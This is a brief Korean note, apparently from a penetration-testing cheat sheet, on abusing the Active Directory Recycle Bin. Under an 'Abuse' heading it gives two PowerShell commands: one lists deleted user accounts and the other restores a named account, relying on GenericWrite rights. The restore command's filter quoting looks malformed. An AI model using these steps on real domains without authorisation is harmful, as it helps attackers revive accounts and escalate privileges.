RecycleBin

도메인의 Recyle Bin이 활성화 되어있으면 Deleted Objects 컨테이너가 생성되며 삭제된 도메인 객체는 기본적으로 180일 보관됩니다.

객체에 대한 GenericWrite 권한이 있다면 삭제된 객체를 복원할 수 있습니다.

Abuse

# 삭제된 도메인 계정 열거
Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' -IncludeDeletedObjects

# 복원
Get-ADObject -Filter 'isDeleted -eq $true -and Name -eq '"*mick3y*"' -IncludeDeletedObjects | Restore-ADObject